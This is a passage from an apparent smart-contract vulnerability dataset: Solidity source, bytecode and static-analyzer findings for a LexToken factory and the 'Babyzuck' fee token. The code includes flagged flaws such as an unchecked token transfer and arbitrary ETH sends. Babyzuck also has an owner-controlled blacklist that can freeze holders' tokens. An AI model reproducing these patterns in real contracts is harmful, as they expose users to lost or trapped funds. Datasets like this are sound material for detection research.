a0380861660009081526001602052604080822093909355908716815220546110d7908463ffffffff6112a016565b600160a060020a038616600090815260016020526040902055611100828463ffffffff6112a016565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a35b5b5050505050565b600082820261119084158061118b575083858381151561118857fe5b04145b6112b9565b8091505b5092915050565b60008082848115156111a957fe5b0490508091505b5092915050565b6000828201611190848210156112b9565b8091505b5092915050565b604060443610156111e357600080fd5b600160a060020a03331660009081526001602052604090205461120c908363ffffffff6112a016565b600160a060020a033381166000908152600160205260408082209390935590851681522054611241908363ffffffff6111b716565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35b5b505050565b60006112ae838311156112b9565b508082035b92915050565b801515610c8f57600080fd5b5b505600a165627a7a7230582082d28ade67a47a084f3379994ba07be02e733d2c131bdf73b274899af48956850029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,030
0xd0d19c6ef43508bb1af731facaec8de3988b1a47
/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, bool forSale); event UpdateTransferability(bool transferable); mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; _mint(_manager, _managerSupply); _mint(address(this), _saleSupply); // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } receive() external payable { // sale from `saleSupply` - lexToken sent back to ETH caller per `saleRate` require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { require(value == 0 || allowances[msg.sender][spender] == 0, "!reset"); _approve(msg.sender, spender, value); return true; } function burn(uint256 value) external { balanceOf[msg.sender] = balanceOf[msg.sender].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(msg.sender, address(0), value); } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; _mint(address(this), _saleSupply); emit UpdateSale(_saleRate, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract require(token.length == withrawTo.length && token.length == value.length, "!token/withrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withrawTo[i], withdrawalValue); } } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } contract LexTokenFactory is CloneFactory { address payable public lexDAO; address public lexDAOtoken; address payable immutable public template; uint256 public userReward; string public details; event LaunchLexToken(address indexed lexToken, address indexed manager, uint256 saleRate, bool forSale); event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details); constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; template = _template; userReward = _userReward; details = _details; } function launchLexToken( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) payable external { LexToken lex = LexToken(createClone(template)); lex.init( _manager, _decimals, _managerSupply, _saleRate, _saleSupply, _totalSupplyCap, _details, _name, _symbol, _forSale, _transferable); (bool success, ) = lexDAO.call{value: msg.value}(""); require(success, "!ethCall"); IERC20(lexDAOtoken).transfer(msg.sender, userReward); emit LaunchLexToken(address(lex), _manager, _saleRate, _forSale); } function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external { require(msg.sender == lexDAO, "!lexDAO"); lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; userReward = _userReward; details = _details; emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details); } }
0x6080604052600436106100705760003560e01c80636f2ddd931161004e5780636f2ddd931461031a5780638976263d1461032f578063a994ee2d146103ca578063e5a6c28f146103df57610070565b80634f411f7b14610075578063565974d3146100a65780635d22b72c14610130575b600080fd5b34801561008157600080fd5b5061008a610406565b604080516001600160a01b039092168252519081900360200190f35b3480156100b257600080fd5b506100bb610415565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f55781810151838201526020016100dd565b50505050905090810190601f1680156101225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610318600480360361016081101561014757600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b81111561019157600080fd5b8201836020820111156101a357600080fd5b803590602001918460018302840111600160201b831117156101c457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561021657600080fd5b82018360208201111561022857600080fd5b803590602001918460018302840111600160201b8311171561024957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561029b57600080fd5b8201836020820111156102ad57600080fd5b803590602001918460018302840111600160201b831117156102ce57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050508035151591506020013515156104a3565b005b34801561032657600080fd5b5061008a610838565b34801561033b57600080fd5b506103186004803603608081101561035257600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561038c57600080fd5b82018360208201111561039e57600080fd5b803590602001918460018302840111600160201b831117156103bf57600080fd5b50909250905061085c565b3480156103d657600080fd5b5061008a61096a565b3480156103eb57600080fd5b506103f4610979565b60408051918252519081900360200190f35b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561049b5780601f106104705761010080835404028352916020019161049b565b820191906000526020600020905b81548152906001019060200180831161047e57829003601f168201915b505050505081565b60006104ce7f000000000000000000000000f5136e0b8ac79cb0fd10e2f6ee35f54a2e152b4a61097f565b9050806001600160a01b0316637a0c21ee8d8d8d8d8d8d8d8d8d8d8d6040518c63ffffffff1660e01b8152600401808c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561057e578181015183820152602001610566565b50505050905090810190601f1680156105ab5780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b838110156105de5781810151838201526020016105c6565b50505050905090810190601f16801561060b5780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b8381101561063e578181015183820152602001610626565b50505050905090810190601f16801561066b5780820380516001836020036101000a031916815260200191505b509e505050505050505050505050505050600060405180830381600087803b15801561069657600080fd5b505af11580156106aa573d6000803e3d6000fd5b5050600080546040519193506001600160a01b0316915034908381818185875af1925050503d80600081146106fb576040519150601f19603f3d011682016040523d82523d6000602084013e610700565b606091505b5050905080610741576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561079857600080fd5b505af11580156107ac573d6000803e3d6000fd5b505050506040513d60208110156107c257600080fd5b8101908080519060200190929190505050508c6001600160a01b0316826001600160a01b03167f176531a4d8afdce919b7d31d8cfd2b6d7a2787ef70e6fc44d338bce7a6a080e68c876040518083815260200182151581526020019250505060405180910390a350505050505050505050505050565b7f000000000000000000000000f5136e0b8ac79cb0fd10e2f6ee35f54a2e152b4a81565b6000546001600160a01b031633146108a5576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038088166001600160a01b031992831617909255600180549287169290911691909117905560028390556108e6600383836109d1565b50836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a5985858560405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a35050505050565b6001546001600160a01b031681565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282610a075760008555610a4d565b82601f10610a205782800160ff19823516178555610a4d565b82800160010185558215610a4d579182015b82811115610a4d578235825591602001919060010190610a32565b50610a59929150610a5d565b5090565b5b80821115610a595760008155600101610a5e56fea264697066735822122067d35762315efdbe61ad8e44c68f759ae65cc20032df09e7e770082a988fd51664736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,031
0x1c71367b65E88Dd191F4bE95247d6Ab652B229E8
/** *Submitted for verification at Etherscan.io on 2021-08-19 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Babyzuck is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private setTax; uint256 private setRedis; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "Baby Zuck || https://t.me/BabyZuckv2"; string private constant _symbol = "BabyZuck"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1,address payable _add2,address payable _add3) { _feeAddrWallet1 = _add1; _feeAddrWallet2 = _add2; _feeAddrWallet3 = _add3; _rOwned[_feeAddrWallet1] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), _feeAddrWallet1, _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = setRedis; _feeAddr2 = setTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > _tTotal/1000){ if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } } _tokenTransfer(from,to,amount); } function liftMaxTrnx() external onlyOwner{ _maxTxAmount = _tTotal; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/10*3); _feeAddrWallet2.transfer(amount/10*3); _feeAddrWallet3.transfer(amount/10*3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); setTax = 12; setRedis = 1; swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklist(address _address) external onlyOwner{ bots[_address] = true; } function removeBlacklist(address notbot) external onlyOwner{ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610352578063c9567bf914610369578063dd62ed3e14610380578063eb91e651146103bd578063f9f92be4146103e657610114565b8063715018a6146102a85780638da5cb5b146102bf57806395d89b41146102ea578063a9059cbb1461031557610114565b8063313ce567116100dc578063313ce567146101e957806335ffbc47146102145780635932ead11461022b5780636fc3eaec1461025457806370a082311461026b57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b9190612750565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612359565b61042f565b6040516101789190612735565b60405180910390f35b34801561018d57600080fd5b5061019661044d565b6040516101a39190612872565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612306565b61045f565b6040516101e09190612735565b60405180910390f35b3480156101f557600080fd5b506101fe610538565b60405161020b91906128e7565b60405180910390f35b34801561022057600080fd5b50610229610541565b005b34801561023757600080fd5b50610252600480360381019061024d9190612399565b6105e9565b005b34801561026057600080fd5b5061026961069b565b005b34801561027757600080fd5b50610292600480360381019061028d919061226c565b61070d565b60405161029f9190612872565b60405180910390f35b3480156102b457600080fd5b506102bd61075e565b005b3480156102cb57600080fd5b506102d46108b1565b6040516102e19190612667565b60405180910390f35b3480156102f657600080fd5b506102ff6108da565b60405161030c9190612750565b60405180910390f35b34801561032157600080fd5b5061033c60048036038101906103379190612359565b610917565b6040516103499190612735565b60405180910390f35b34801561035e57600080fd5b50610367610935565b005b34801561037557600080fd5b5061037e6109af565b005b34801561038c57600080fd5b506103a760048036038101906103a291906122c6565b610f1d565b6040516103b49190612872565b60405180910390f35b3480156103c957600080fd5b506103e460048036038101906103df919061226c565b610fa4565b005b3480156103f257600080fd5b5061040d6004803603810190610408919061226c565b611094565b005b6060604051806060016040528060248152602001612e2460249139905090565b600061044361043c611184565b848461118c565b6001905092915050565b600069d3c21bcecceda1000000905090565b600061046c848484611357565b61052d84610478611184565b61052885604051806060016040528060288152602001612e4860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104de611184565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116559092919063ffffffff16565b61118c565b600190509392505050565b60006009905090565b610549611184565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105cd906127f2565b60405180910390fd5b69d3c21bcecceda1000000601381905550565b6105f1611184565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610675906127f2565b60405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106dc611184565b73ffffffffffffffffffffffffffffffffffffffff16146106fc57600080fd5b600047905061070a816116b9565b50565b6000610757600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183f565b9050919050565b610766611184565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ea906127f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f426162795a75636b000000000000000000000000000000000000000000000000815250905090565b600061092b610924611184565b8484611357565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610976611184565b73ffffffffffffffffffffffffffffffffffffffff161461099657600080fd5b60006109a13061070d565b90506109ac816118ad565b50565b6109b7611184565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3b906127f2565b60405180910390fd5b601260149054906101000a900460ff1615610a94576040517f08c379a00